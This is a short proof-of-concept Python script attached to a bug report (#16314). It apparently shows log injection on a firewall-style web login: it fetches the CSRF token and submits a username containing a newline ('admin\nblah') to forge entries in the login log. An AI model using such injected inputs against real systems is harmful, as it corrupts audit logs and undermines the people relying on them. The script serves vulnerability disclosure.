Bug #16314 » poc-usernamelog.py
| 1 |
#!/usr/bin/env python3
|
|---|---|
| 2 |
import requests |
| 3 |
requests.packages.urllib3.disable_warnings() |
| 4 |
from bs4 import BeautifulSoup |
| 5 |
|
| 6 |
baseurl = 'https://198.51.100.129' |
| 7 |
|
| 8 |
target = baseurl + '/index.php' |
| 9 |
|
| 10 |
login_data = { |
| 11 |
'login' : 'Login', |
| 12 |
'usernamefld' : 'admin\nblah', |
| 13 |
'passwordfld' : 'somewrongpassword', |
| 14 |
}
|
| 15 |
|
| 16 |
headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0'} |
| 17 |
|
| 18 |
with requests.Session() as s: |
| 19 |
# Fetch CSRF token from login page
|
| 20 |
r = s.get(baseurl, headers=headers, verify=False) |
| 21 |
|
| 22 |
soup = BeautifulSoup(r.text, 'lxml') |
| 23 |
login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value'] |
| 24 |
|
| 25 |
# Login
|
| 26 |
r = s.post(baseurl, data=login_data, headers=headers) |
| 27 |
|
| 28 |
# Dump input errors from response
|
| 29 |
soup = BeautifulSoup(r.text, 'lxml') |
| 30 |
input_errors = [errors.text for errors in soup.select('div.input-errors ul li')] |
| 31 |
if (input_errors): |
| 32 |
print("Input errors:\n") |
| 33 |
for ie in input_errors: |
| 34 |
print("* " + ie + "\n") |
| 35 |
|
| 36 |
print('Done') |